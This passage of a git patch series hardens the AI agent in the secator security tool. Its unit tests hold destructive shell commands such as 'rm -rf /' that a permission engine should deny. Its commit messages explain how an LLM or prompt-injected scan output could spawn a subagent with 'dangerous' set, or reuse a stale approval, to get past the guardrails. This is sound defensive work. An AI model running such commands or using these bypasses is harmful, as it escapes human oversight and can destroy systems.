self.assertEqual(result.decision, "deny") + + def test_destructive_root_rm_denied(self): + """Bare `rm -rf /` (and one level under /) must be denied (H6).""" + engine = self._engine() + self.assertEqual( + engine.check_action({"action": "shell", "command": "rm -rf /"}).decision, "deny") + self.assertEqual( + engine.check_action({"action": "shell", "command": "rm -rf /etc"}).decision, "deny") + + def test_scoped_rm_still_prompts_not_denied(self): + """Scoped `rm -rf /tmp/x` is not catastrophic -> prompt (not silent allow/deny) (H6).""" + engine = self._engine() + result = engine.check_action({"action": "shell", "command": "rm -rf /tmp/data/x"}) + self.assertEqual(result.decision, "ask") + + def test_wrapper_preserves_allowed_inner_command(self): + """`timeout 60 curl ...` must not regress: curl stays allowed at the action level.""" + engine = self._engine(targets=["10.0.0.1"]) + # Inner curl is allow-listed; the unknown URL target is what triggers the ask, + # proving the wrapper was peeled and curl recognised (not denied). + result = engine.check_action({"action": "shell", "command": "timeout 60 curl http://10.0.0.1/x"}) + self.assertEqual(result.decision, "allow") + # === Should NOT trigger approval (allow) === def test_read_file_in_workspace(self): From 73615204c4322205c03e57bf68b8450542d978a6 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Tue, 30 Jun 2026 18:55:23 +0200 Subject: [PATCH 049/129] fix(ai): bound retries on persistent rate-limit to prevent infinite loop (H1) (#1235) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit **Finding:** H1 (High) — persistent rate-limit causes an effectively infinite loop. ## Root cause In `secator/tasks/ai.py`, the main loop's exception handler did, for `litellm.RateLimitError`: ```python iteration -= 1 sleep(5) continue ``` Decrementing `iteration` pins the loop counter, so a *persistent* 429 (exhausted quota, billing block, provider throttle) never advances toward `max_iterations` and spins forever — bounded only by the 3h K8s Job deadline — holding a worker slot the whole time. `call_llm` in `secator/ai/utils.py` *already* retries 429 (up to 3×, ~2/4/8s exponential backoff) before re-raising, so the outer `sleep(5)` was redundant double-waiting. ## Fix `secator/tasks/ai.py`, rate-limit handler region only: - Stop pinning the counter — removed `iteration -= 1` so a 429 lets the iteration advance. - Added a bounded **consecutive-429 guard** (`rate_limit_streak`, mirroring the existing `empty_streak` pattern): hard-abort with a clear `Error` after 4 consecutive rate-limit failures, then `_save_history()` + return. The streak resets to 0 on any successful `call_llm`, so transient throttling is forgiven; only a *persistent* 429 trips the abort. This bounds termination at `min(4, max_iterations)` **independent of `max_iterations`** (which is user-settable and can be raised by modes / query extensions). - Removed the redundant outer `sleep(5)`; backoff is preserved inside `call_llm`. Dropped the now-orphaned `from time import sleep` import. - `AuthenticationError` / `APIConnectionError` handling left untouched. `secator/ai/utils.py` `call_llm` retry/backoff already provides the spacing between attempts (2/4/8s) and was left as-is — no change needed. ## Validation - `python3 -m py_compile secator/tasks/ai.py secator/ai/utils.py` → OK. - New focused test `tests/unit/test_ai_tokens.py::TestAiRateLimitTermination::test_persistent_rate_limit_aborts_bounded` reuses the existing `_loop_patches` harness, patches `call_llm` to raise `RateLimitError` on every call with `max_iterations=50`, drives the real `_run_loop`, and asserts the loop calls `call_llm` exactly **4** times (the consecutive-429 cap, far below the 50-iteration budget) and ends with a rate-limit abort `Error` — i.e. it provably terminates instead of looping unbounded. Passes. - No new regressions: pre-existing failures on the base branch (`test_ai_loop.py` guardrail/e2e tests and `test_ai_tokens.py::test_loop_sums_token_usage`) are unchanged with vs. without this patch (verified by stash/compare). ## Extra issues surfaced Noted in adjacent code; **not fixed here** (separate PRs / other lanes): - **Pre-existing test failures on `ai-resiliency`** (not introduced by this PR, flagged for triage): in `tests/unit/test_ai_loop.py`, 9 guardrail/e2e tests fail with `Action denied: shell command not approved` (e.g. `TestGuardrailsAutoMode::test_allowed_command_passes`, `TestMainLoopAutoE2E::test_multi_turn_auto_loop`), and `tests/unit/test_ai_tokens.py::TestAiTokenAccountingEndToEnd::test_loop_sums_token_usage` asserts 600 but gets 100. These look like guardrail/loop drift, owned by other regions. - **Empty-response handling** (`empty_streak`) hard-stops after 3 with `return` (no saved abort Error type distinction) — consistent with this fix's pattern, but worth confirming it's the intended UX. - **`call_llm` retryable set** (`utils.py`) lumps `BadRequestError` and generic `APIError` into the same retry/backoff path as transient 429s — a permanently malformed request will still burn 3 backoff attempts (~6s) before surfacing. Candidate to split non-retryable client errors out. - **`query_extensions` / mode configs raise `max_iterations` at runtime** — independent of this fix (the new guard is mode-independent), but a reminder that the iteration budget is not a tight upper bound on wall-clock by itself. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 --- secator/tasks/ai.py | 16 +++++++--- tests/unit/test_ai_tokens.py | 57 ++++++++++++++++++++++++++++++++++++ 2 files changed, 69 insertions(+), 4 deletions(-) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index ffc18edbd..052876277 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -4,7 +4,6 @@ import uuid from itertools import groupby from pathlib import Path -from time import sleep from typing import Generator from secator.config import CONFIG @@ -339,6 +338,7 @@ def _run_loop(self) -> Generator: iteration = 0 query_extensions = 0 empty_streak = 0 + rate_limit_streak = 0 self._context_warnings_shown = set() while iteration < self.max_iterations: @@ -373,6 +373,9 @@ def _run_loop(self) -> Generator: with maybe_status(msg, spinner="dots"): result = call_llm(messages, self.model, self.temp, self.api_base, self.api_key, tools=self.tool_schemas) + # reset rate-limit guard on success + rate_limit_streak = 0 + content = result["content"] tool_calls = result.get("tool_calls", []) usage = result.get("usage", {}) @@ -481,9 +484,14 @@ def _run_loop(self) -> Generator: except Exception as e: if isinstance(e, litellm.RateLimitError): - yield Warning(message="Rate limit exceeded - waiting 5s and retry in the next iteration") - iteration -= 1 - sleep(5) + # call_llm already backed off (~2/4/8s); don't re-sleep. Bound consecutive + # 429s so a persistent rate limit can't spin forever; let iteration advance. + rate_limit_streak += 1 + if rate_limit_streak >= 4: + yield Error(message="Rate limit exceeded on 4 consecutive attempts - aborting. Check your provider quota/billing.") + self._save_history() + return + yield Warning(message=f"Rate limit exceeded (attempt {rate_limit_streak}/4) - retrying in the next iteration") continue elif isinstance(e, litellm.AuthenticationError): yield Error(message=str(e)) diff --git a/tests/unit/test_ai_tokens.py b/tests/unit/test_ai_tokens.py index 48f63647a..9881107ba 100644 --- a/tests/unit/test_ai_tokens.py +++ b/tests/unit/test_ai_tokens.py @@ -361,5 +361,62 @@ def test_combined_main_intent_compaction_sum(self): self.assertAlmostEqual(task.context["ai_cost"], 0.0025) +@unittest.skipUnless(HAS_AI, 'ai addon required') +class TestAiRateLimitTermination(unittest.TestCase): + """A persistent 429 must terminate the loop after a bounded number of failures (H1).""" + + def _make_loop_task(self, max_iterations): + task = _make_task() + task.inputs = [] + task.model = "test-model" + task.intent_model = "test-model" + task.temp = 0.7 + task.api_base = None + task.api_key = "key" + task.max_iterations = max_iterations + task.max_tokens_total = 100000 + task.max_workers = 1 + task.is_subagent = True + task.verbose = False + task.dry_run = False + task.mode = "chat" + task.scope = "workspace" + task.results = [] + task.encryptor = None + task.tool_schemas = [] + task.permission_engine = None + task.dangerous = True + task.interactive = "auto" + task._sync = True + task.session_id = "s" + task._reports_folder = None + task.debug = lambda *a, **k: None + task.add_result = lambda *a, **k: None + from secator.ai.interactivity import create_backend + task.backend = create_backend("auto") + return task + + def test_persistent_rate_limit_aborts_bounded(self): + """A 429 on every call_llm aborts after 4 attempts, regardless of max_iterations.""" + import litellm + from secator.output_types import Error + + task = self._make_loop_task(max_iterations=50) + calls = {"n": 0} + + def always_rate_limited(*args, **kwargs): + calls["n"] += 1 + raise litellm.RateLimitError("rate limited", "openai", "test-model") + + with _loop_patches(task, always_rate_limited): + results = list(task._run_loop()) + + # bounded by the 4-consecutive-429 cap, not the 50-iteration budget + self.assertEqual(calls["n"], 4) + errors = [r for r in results if isinstance(r, Error)] + self.assertTrue(errors, "expected an Error to be yielded on abort") + self.assertIn("Rate limit", errors[-1].message) + + if __name__ == '__main__': unittest.main() From 49ee63f1a8fe15bdf18604e78cbb6e38c85cf8c4 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Tue, 30 Jun 2026 18:55:26 +0200 Subject: [PATCH 050/129] fix(ai): sanitize LLM-supplied subagent opts to prevent guardrail bypass (C1) (#1239) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding: C1 (Critical) — LLM can disable all guardrails on a spawned subagent ### Root cause In `secator/ai/actions.py`, `_run_runner` read `opts = action.get("opts", {})` — and that `opts` is **LLM-supplied and freeform** (in `tools.py` the `run_task`/`run_workflow` `opts` is `{"type": "object"}` with no property restriction). `_run_runner` only force-set `subagent`/`interactive` for `name=="ai"`, then spread `**opts` straight into the child `run_opts`. The child task does `self.dangerous = self.get_opt_value("dangerous")` and `if self.dangerous: denial = None`, skipping **all** permission checks. So a model — or prompt-injected target output — emitting `run_task(name="ai", targets=[...], opts={"dangerous": true})` spawns a child that bypasses every guardrail (arbitrary shell, any target, any path). ### Fix 1. **`_sanitize_child_opts(opts)`** — a single helper that drops the framework control/security keys the parent owns (`dangerous`, `interactive`, `hooks`, `sync`, `subagent`, `tty`, `dry_run`, `exporters`, `enable_reports`, and any `print_*`) and clamps `max_iterations` to a safe bound (`_MAX_CHILD_ITERATIONS = 25`). Task/workflow-specific scan options (e.g. nmap `ports`, httpx `rate_limit`) are **not** control keys and pass through, so scans are unaffected. 2. **Force `opts["dangerous"] = False`** on every spawned runner — defense-in-depth, so even if a control key slipped through, the child can never re-enable a guardrail bypass. 3. Schema descriptions in `tools.py` now document that control flags are ignored. ### Why this is the right boundary The neutralization happens **spawn-side** in `_run_runner` (the trust boundary where untrusted LLM/tool-call input becomes a child runner's config), **not** by touching the `self.dangerous` logic in `tasks/ai.py`. That keeps the legitimate operator-facing `--dangerous` CLI escape hatch intact for a human running secator directly, while making it impossible for an LLM (or injected output) to set it on a child it spawns. ### Validation - `python3 -m py_compile secator/ai/actions.py secator/ai/tools.py` — clean. - New focused tests in `tests/unit/test_ai_actions.py` (`TestSanitizeChildOpts`): strips dangerous/control/`print_*` keys, keeps benign opts, clamps/drops `max_iterations`, non-dict → `{}`, plus two `_run_runner` integration tests asserting `opts={"dangerous": true, "interactive": "local"}` yields a child `run_opts` with `dangerous=False` and no `interactive="local"` (and the `ai`-subagent path forces `subagent=True`, `interactive=False`, `dangerous=False`). - `pytest tests/unit/test_ai_actions.py tests/unit/test_ai_tools.py tests/unit/test_ai_safety.py` → **92 passed**. ## Extra issues surfaced - **Deny-list vs. strict allow-list (deliberate deviation):** the brief suggested a strict allow-list of LLM-settable keys. A strict allow-list would strip every task-specific scan option (nmap `ports`, httpx `rate_limit`, …) and break the AI's core ability to drive scans. I implemented a **deny-list of framework control/security keys + forced `dangerous=False`** instead — same security outcome at the spawn boundary, without degrading functionality. Flagging for reviewer awareness. - **`run_shell` remains the broadest hole:** C1 is fixed, but the AI `run_shell` action executes arbitrary commands gated only by the permission engine. Worth a separate hardening pass (outside this PR's owned region). - **`hooks` via `run_opts` is theoretical here** (the real `hooks` is a separate `runner_cls(..., hooks=...)` kwarg built from context, not from `opts`), but it stays in the deny-list as defense-in-depth in case `run_opts` ever forwards a `hooks` key. - **No parent-posture propagation field:** `ActionContext` carries no `dangerous` field, so the child is forced non-dangerous unconditionally (the safe default). Letting a dangerous parent spawn dangerous children would need explicit, separately-reviewed plumbing — intentionally not done here. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 --- secator/ai/actions.py | 46 ++++++++++++++++- secator/ai/tools.py | 4 +- tests/unit/test_ai_actions.py | 94 ++++++++++++++++++++++++++++++++++- 3 files changed, 140 insertions(+), 4 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index ba191ceaa..eaaa7167f 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -385,6 +385,46 @@ def _is_heavy_runner(runner_type: str, name: str, opts: dict = None) -> bool: return profile in _HEAVY_PROFILES +# Framework control/security keys the LLM must never set on a spawned sub-runner +# (esp. `dangerous`, which skips the permission engine). Task/workflow scan opts +# (nmap ports, httpx rate_limit, ...) are not control keys and pass through. +_FORBIDDEN_CHILD_OPT_KEYS = frozenset({ + "dangerous", + "interactive", + "hooks", + "sync", + "subagent", + "tty", + "dry_run", + "exporters", + "enable_reports", +}) + +# Cap a spawned subagent's iteration budget so it can't be told to loop unbounded. +_MAX_CHILD_ITERATIONS = 25 + + +def _sanitize_child_opts(opts: Any) -> Dict: + """Drop LLM-settable control/security keys from sub-runner opts; clamp max_iterations.""" + if not isinstance(opts, dict): + return {} + clean = {} + for key, value in opts.items(): + k = str(key) + if k in _FORBIDDEN_CHILD_OPT_KEYS or k.startswith("print_"): + continue + clean[key] = value + # Clamp the AI-subagent iteration budget (bool is an int subclass — drop it). + mi = clean.get("max_iterations") + if isinstance(mi, bool): + clean.pop("max_iterations", None) + elif isinstance(mi, (int, float)): + clean["max_iterations"] = max(1, min(int(mi), _MAX_CHILD_ITERATIONS)) + elif mi is not None: + clean.pop("max_iterations", None) + return clean + + def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator: """Execute a secator task or workflow. @@ -395,7 +435,8 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator """ name = action.get("name", "") targets = action.get("targets", ctx.targets) - opts = action.get("opts", {}) + # drop LLM-set control keys (notably `dangerous`) before they reach the child + opts = _sanitize_child_opts(action.get("opts", {})) context = _get_result_context(action, ctx) # Force subagent flags when spawning an AI task from a parent AI task @@ -403,6 +444,9 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator opts["subagent"] = True opts["interactive"] = False + # defense in depth: a spawned runner is never dangerous (CLI --dangerous unaffected) + opts["dangerous"] = False + if runner_type == "task": tpl = TemplateLoader(input={'type': 'task', 'name': name}) runner_cls = Task diff --git a/secator/ai/tools.py b/secator/ai/tools.py index e85394b4c..e96dd348f 100644 --- a/secator/ai/tools.py +++ b/secator/ai/tools.py @@ -37,7 +37,7 @@ }, "opts": { "type": "object", - "description": "Optional task-specific options (e.g. ports, rate_limit, timeout)." + "description": "Optional task-specific options (e.g. ports, rate_limit). Control/security flags are ignored." } }, "required": ["name", "targets"] @@ -63,7 +63,7 @@ }, "opts": { "type": "object", - "description": "Optional workflow options (e.g. profiles)." + "description": "Optional workflow options (e.g. profiles). Control/security flags are ignored." } }, "required": ["name", "targets"] diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 735867076..89ffcff53 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -10,7 +10,8 @@ from secator.ai.actions import ( ActionContext, dispatch_action, _handle_follow_up, _handle_shell, _handle_query, _handle_add_finding, _run_runner, _decrypt_dict, - _build_hooks_from_context, _coerce_finding_fields + _build_hooks_from_context, _coerce_finding_fields, _sanitize_child_opts, + _MAX_CHILD_ITERATIONS ) from secator.output_types import Ai, Error, Info, Warning, Vulnerability, Url @@ -410,6 +411,97 @@ def test_run_runner_preserves_existing_session_id(self, mock_build_hooks, mock_t self.assertEqual(kwargs.get('context', {}).get('session_id'), 'from-context') +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestSanitizeChildOpts(unittest.TestCase): + """Tests for _sanitize_child_opts (C1: LLM-supplied subagent opts allow-list).""" + + def test_strips_dangerous_and_control_keys(self): + opts = { + 'dangerous': True, 'interactive': 'local', 'hooks': {'x': 1}, + 'sync': False, 'subagent': True, 'tty': True, 'dry_run': True, + 'exporters': ['csv'], 'enable_reports': False, + } + clean = _sanitize_child_opts(opts) + self.assertEqual(clean, {}) + + def test_strips_print_star_keys(self): + clean = _sanitize_child_opts({'print_cmd': True, 'print_item': False, 'print_anything': 1}) + self.assertEqual(clean, {}) + + def test_keeps_benign_task_opts(self): + clean = _sanitize_child_opts({'ports': '80,443', 'rate_limit': 100, 'mode': 'attack'}) + self.assertEqual(clean, {'ports': '80,443', 'rate_limit': 100, 'mode': 'attack'}) + + def test_clamps_max_iterations(self): + clean = _sanitize_child_opts({'max_iterations': 9999}) + self.assertEqual(clean['max_iterations'], _MAX_CHILD_ITERATIONS) + clean = _sanitize_child_opts({'max_iterations': 5}) + self.assertEqual(clean['max_iterations'], 5) + # bool / non-numeric max_iterations is dropped (bool is an int subclass) + self.assertNotIn('max_iterations', _sanitize_child_opts({'max_iterations': True})) + self.assertNotIn('max_iterations', _sanitize_child_opts({'max_iterations': 'lots'})) + + def test_non_dict_returns_empty(self): + self.assertEqual(_sanitize_child_opts(None), {}) + self.assertEqual(_sanitize_child_opts('dangerous'), {}) + + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_run_runner_neutralizes_dangerous_and_interactive(self, mock_build_hooks, mock_task_cls, _mock_tpl): + """C1: an LLM emitting opts={'dangerous': True, 'interactive': 'local'} must NOT + propagate either into the spawned child's run_opts — dangerous is forced False + and interactive (a control key) is stripped.""" + mock_build_hooks.return_value = {} + mock_runner = MagicMock() + mock_runner.id = 'runner123' + mock_runner.reports_folder = None + mock_runner.__iter__.return_value = iter([]) + mock_task_cls.return_value = mock_runner + + ctx = ActionContext(targets=['t.com'], model='m', context={'workspace_id': 'ws1'}) + action = { + 'action': 'task', 'name': 'nmap', 'targets': ['10.0.0.1'], + 'opts': {'dangerous': True, 'interactive': 'local', 'ports': '80'}, + } + + list(_run_runner(action, ctx, 'task')) + + _, kwargs = mock_task_cls.call_args + run_opts = kwargs.get('run_opts', {}) + self.assertEqual(run_opts.get('dangerous'), False) + self.assertNotEqual(run_opts.get('interactive'), 'local') + # benign task opt still passes through + self.assertEqual(run_opts.get('ports'), '80') + + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_run_runner_ai_subagent_forced_flags_over_llm_opts(self, mock_build_hooks, mock_task_cls, _mock_tpl): + """Spawning an `ai` subagent with hostile opts: subagent forced True, + interactive forced False, dangerous forced False regardless of LLM input.""" + mock_build_hooks.return_value = {} + mock_runner = MagicMock() + mock_runner.id = 'runner123' + mock_runner.reports_folder = None + mock_runner.__iter__.return_value = iter([]) + mock_task_cls.return_value = mock_runner + + ctx = ActionContext(targets=['t.com'], model='m', context={'workspace_id': 'ws1'}) + action = { + 'action': 'task', 'name': 'ai', 'targets': ['10.0.0.1'], + 'opts': {'dangerous': True, 'interactive': 'local', 'subagent': False}, + } + + list(_run_runner(action, ctx, 'task')) + + _, kwargs = mock_task_cls.call_args + run_opts = kwargs.get('run_opts', {}) + self.assertEqual(run_opts.get('dangerous'), False) + self.assertEqual(run_opts.get('interactive'), False) + self.assertEqual(run_opts.get('subagent'), True) + + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestBuildHooksFromContext(unittest.TestCase): """Tests for _build_hooks_from_context (driver name -> hooks dict).""" From 49ac886cf8642fca7e8b91a49105cec42b9c11a2 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Tue, 30 Jun 2026 18:56:04 +0200 Subject: [PATCH 051/129] fix(ai): correlate permission prompts by prompt_uuid to stop stale auto-approval (H7) (#1237) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding: H7 (High — guardrail bypass) Permission prompts poll for their answer **without a `prompt_uuid`**, so a poll resolves against ANY earlier answered permission doc. ## Root cause The canary work added `prompt_uuid` correlation for **follow_up** prompts (in `tasks/ai.py`, where the follow_up pending doc is built) precisely so a poll can't resolve against a previously-answered doc. **Permission prompts were left unscoped.** In `interactivity.py`, the permission poll matched: ``` {_type:"ai", ai_type:"permission", _context.session_id, status:"answered"} (limit=1, no sort, no prompt_uuid) ``` so it returned the first/any earlier answered permission doc. Concretely: - Within a single multi-layer guardrail check (`shell` → `target` → `path`), once the **first** layer is answered "allow", every **later** layer's poll instantly returns that stale "allow" and is auto-approved — the user never sees or can deny the later layers. - Across turns, a brand-new permission prompt can resolve against an **old** approval. This is a guardrail bypass, not just a glitch. ## Fix (mirrors the follow_up correlation; DRY) 1. **`actions.py` (permission-ask region):** stamp a fresh `prompt_uuid = str(uuid.uuid4())` into each permission `ask_kwargs` — **one per layer/iteration** (the shell ask, each target ask, each path ask) — so an earlier "allow" can't satisfy a later layer's poll. Reuses the exact `uuid` + `prompt_uuid` mechanism the follow_up path already uses (`tasks/ai.py` stamps `extra_data["prompt_uuid"]`). 2. **`interactivity.py` `build_pending_prompt`:** persist that `prompt_uuid` into the pending doc's `extra_data` so the poll can correlate on `extra_data.prompt_uuid` when the doc round-trips on read. 3. **`interactivity.py` `_poll_for_answer`:** already threaded `prompt_uuid` into the query (shared with follow_up); additionally resolve against the **newest** answered doc by `_timestamp` (defense in depth) instead of an arbitrary `limit=1` row. Net effect: each guardrail layer polls for **only its own** answer and times out on its own doc; a prior "allow" can no longer leak forward. ## secator-api follow-up needed? **Low-priority follow-up — flagged, not fixed here (different repo, out of scope this round).** The answer-write path lives in `secator-api` (`crud.answer_ai_prompt`, which flips the "latest pending" doc to `answered`). For full correctness it should: - **Preserve `extra_data.prompt_uuid`** on the answered doc (it already does if it does an in-place status update on the existing pending doc — which preserves `extra_data` — but this should be confirmed). - Ideally **target the specific `prompt_uuid`** rather than "latest pending" for the session. In practice permission prompts are issued **sequentially** (the worker blocks on each), so only one pending permission doc exists per session at a time and "latest pending" resolves to the right one — which is why this is low priority rather than blocking. Worth a confirming change in `secator-api` for robustness against any future concurrent-pending scenario. ## Validation - `python3 -m py_compile secator/ai/interactivity.py secator/ai/actions.py` — OK. - `tests/unit/test_ai_interactivity.py` — 22/22 pass, including new focused tests: - `test_later_permission_layer_does_not_resolve_from_earlier_allow` — the **H7 regression**: two sequential permission asks in one session; the first (shell) is answered "allow"; the second (target) polls with its own `prompt_uuid` and does NOT auto-resolve from the first's answered doc (it polls for its own uuid and times out). - `test_build_pending_prompt_stamps_permission_prompt_uuid` — pending permission doc carries `extra_data.prompt_uuid`. - `test_poll_returns_newest_answered_doc` — newest-by-`_timestamp` defense in depth. - Pre-existing failures in `test_ai_guardrails.py` (50) and `test_ai_loop.py` (9) are present on the clean base branch too (verified via stash) — not introduced by this change. ## Extra issues surfaced (Spotted near the permission region — **not fixed here**, flagging for the relevant lanes/owners.) 1. **Possible guardrail bypass on round exhaustion** (`check_guardrails`, `actions.py`): the prompt loop is capped at `max_rounds = 5`. If `result.decision` is still `"ask"` when the cap is hit, the function falls through to `return None` (= no denial), so the action proceeds **despite an unresolved "ask"**. A fail-closed default (deny when still "ask" after the cap) seems safer. Looks adjacent to the C3/H5/M10 cluster. 2. **`_poll_for_answer` now does an unbounded `search`** (I removed `limit=1` to enable newest-by-`_timestamp`). With `prompt_uuid` scoping the result set is tiny, but the legacy/no-uuid path (any caller that doesn't pass a `prompt_uuid`) could return many session docs per poll iteration. Mitigated by the newest-pick; a backend-side sort + `limit=1` would be cleaner but requires a change in `secator/query/` (out of region). 3. **`allow_all` vs `allow` are treated identically** in `RemoteBackend.ask_user` / `_add_permission_rules` — both just add a single runtime allow rule and return `{"answer":"allow"}`. If `allow_all` is meant to grant a broader/session-wide scope, that semantic is currently missing (UX/authz gap). Minor, out of scope. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 --- secator/ai/actions.py | 4 ++ secator/ai/interactivity.py | 41 +++++++++---------- tests/unit/test_ai_interactivity.py | 63 +++++++++++++++++++++++++++++ 3 files changed, 87 insertions(+), 21 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index eaaa7167f..7cddd7ebc 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -216,6 +216,8 @@ def check_guardrails(action: Dict, ctx: ActionContext): value=result.shell_command, reason=result.reason, engine=ctx.permission_engine, + # unique id per prompt so its remote poll matches only its own answer (H7) + prompt_uuid=str(uuid.uuid4()), ) if is_remote: yield ctx.backend.build_pending_prompt(**ask_kwargs) @@ -239,6 +241,7 @@ def check_guardrails(action: Dict, ctx: ActionContext): value=target, command=cmd_display, engine=ctx.permission_engine, + prompt_uuid=str(uuid.uuid4()), ) if is_remote: yield ctx.backend.build_pending_prompt(**ask_kwargs) @@ -261,6 +264,7 @@ def check_guardrails(action: Dict, ctx: ActionContext): value=path, command=cmd_display, engine=ctx.permission_engine, + prompt_uuid=str(uuid.uuid4()), ) if is_remote: yield ctx.backend.build_pending_prompt(**ask_kwargs) diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index 0610251b2..297ab8574 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -103,18 +103,25 @@ def build_pending_prompt(self, question, choices, session_id, prompt_type="follo The caller must yield this item so it gets stored in the workspace (via runner hooks) before calling ask_user(), which will poll for the answer. + + ``prompt_uuid`` (from context) is stamped into ``extra_data`` so the poll + can match THIS exact prompt, not a stale earlier answer (H7). """ from secator.output_types import Ai + extra_data = { + "permission_type": context.get("permission_type", ""), + "value": context.get("value", ""), + } + prompt_uuid = context.get("prompt_uuid") + if prompt_uuid: + extra_data["prompt_uuid"] = prompt_uuid return Ai( content=question, ai_type=prompt_type, status="pending", choices=choices, session_id=session_id, - extra_data={ - "permission_type": context.get("permission_type", ""), - "value": context.get("value", ""), - }, + extra_data=extra_data, _timestamp=time.time(), ) @@ -136,25 +143,15 @@ def ask_user(self, question, choices, session_id, prompt_type="follow_up", **con return {"answer": answer} def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): - """Poll DB for the answer to the SPECIFIC pending prompt until timeout. - - The query MUST be scoped to the exact prompt the worker is currently - blocked on — identified by ``prompt_uuid`` (stamped into the pending doc's - ``extra_data.prompt_uuid`` before it was persisted). Matching only on - ``{session_id, status:"answered"}`` is a bug: a multi-turn conversation - accumulates *previously* answered follow-up docs, so an unscoped query - returns a STALE answer immediately, the worker re-injects that old answer - as a brand-new prompt, re-runs the whole turn, asks again, re-matches the - same stale doc — an infinite respawn loop that re-runs scans and burns - tokens. Scoping on ``prompt_uuid`` makes the poll resolve only THIS - prompt's own answer (and time out only THIS prompt's doc). + """Poll the DB for the answer to THIS specific prompt until timeout. + + Scoped by ``prompt_uuid``; without it an unscoped query returns a stale + earlier answer and respawns the turn in a loop (H7). """ base = { "_type": "ai", "ai_type": prompt_type, - # Correlate by the runner context's session_id: it's auto-stamped on - # every persisted item (item._context = self.context), so it's always - # present — unlike the top-level session_id field. + # session_id is auto-stamped on every persisted item (item._context) "_context.session_id": session_id, } if prompt_uuid: @@ -162,9 +159,11 @@ def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): elapsed = 0 while elapsed < self.timeout: - results = self.query_engine.search({**base, "status": "answered"}, limit=1) + results = self.query_engine.search({**base, "status": "answered"}) if results: - return results[0].get("answer") + # resolve against the newest answered doc as a backstop against stale answers + newest = max(results, key=lambda r: r.get("_timestamp", 0)) + return newest.get("answer") sleep(self.poll_interval) elapsed += self.poll_interval # Timeout: flip ONLY this prompt's still-pending doc to timed_out, so a diff --git a/tests/unit/test_ai_interactivity.py b/tests/unit/test_ai_interactivity.py index 8a1117ce5..ad503a879 100644 --- a/tests/unit/test_ai_interactivity.py +++ b/tests/unit/test_ai_interactivity.py @@ -140,6 +140,69 @@ def test_timeout_update_scoped_to_prompt_uuid(self, mock_sleep): self.assertEqual(update_query.get("extra_data.prompt_uuid"), "abc-123") self.assertEqual(update_query.get("status"), "pending") + def test_build_pending_prompt_stamps_permission_prompt_uuid(self): + """A permission pending doc carries its prompt_uuid in extra_data.""" + from secator.ai.interactivity import RemoteBackend + backend = RemoteBackend(timeout=60, query_engine=MagicMock()) + item = backend.build_pending_prompt( + "Shell `nmap` requires approval", ["allow", "deny"], "session1", + prompt_type="permission", permission_type="shell", value="nmap", + prompt_uuid="uuid-shell", + ) + self.assertEqual(item.extra_data.get("prompt_uuid"), "uuid-shell") + self.assertEqual(item.extra_data.get("permission_type"), "shell") + self.assertEqual(item.ai_type, "permission") + self.assertEqual(item.status, "pending") + + @patch('secator.ai.interactivity.sleep') + def test_later_permission_layer_does_not_resolve_from_earlier_allow(self, mock_sleep): + """H7: a later guardrail layer must not auto-resolve from an earlier 'allow'.""" + from secator.ai.interactivity import RemoteBackend + + # Fake "DB": one answered doc from the FIRST (shell) layer only. + answered_db = [{ + "_type": "ai", "ai_type": "permission", "status": "answered", + "_context": {"session_id": "session1"}, + "extra_data": {"prompt_uuid": "uuid-shell"}, + "answer": "allow", "_timestamp": 100.0, + }] + + def fake_search(query, *args, **kwargs): + # Honor prompt_uuid scoping like a real backend would. + want_uuid = query.get("extra_data.prompt_uuid") + out = [] + for d in answered_db: + if d.get("status") != query.get("status"): + continue + if want_uuid is not None and d["extra_data"].get("prompt_uuid") != want_uuid: + continue + out.append(d) + return out + + mock_engine = MagicMock() + mock_engine.search.side_effect = fake_search + backend = RemoteBackend(timeout=5, query_engine=mock_engine, poll_interval=5) + + # First (shell) layer resolves to its own answered "allow". + first = backend._poll_for_answer("session1", "permission", prompt_uuid="uuid-shell") + self.assertEqual(first, "allow") + + # Second (target) layer must NOT pick up the shell layer's "allow". + second = backend._poll_for_answer("session1", "permission", prompt_uuid="uuid-target") + self.assertIsNone(second) + + def test_poll_returns_newest_answered_doc(self): + """Defense in depth: resolve against the NEWEST answered doc by _timestamp.""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [ + {"answer": 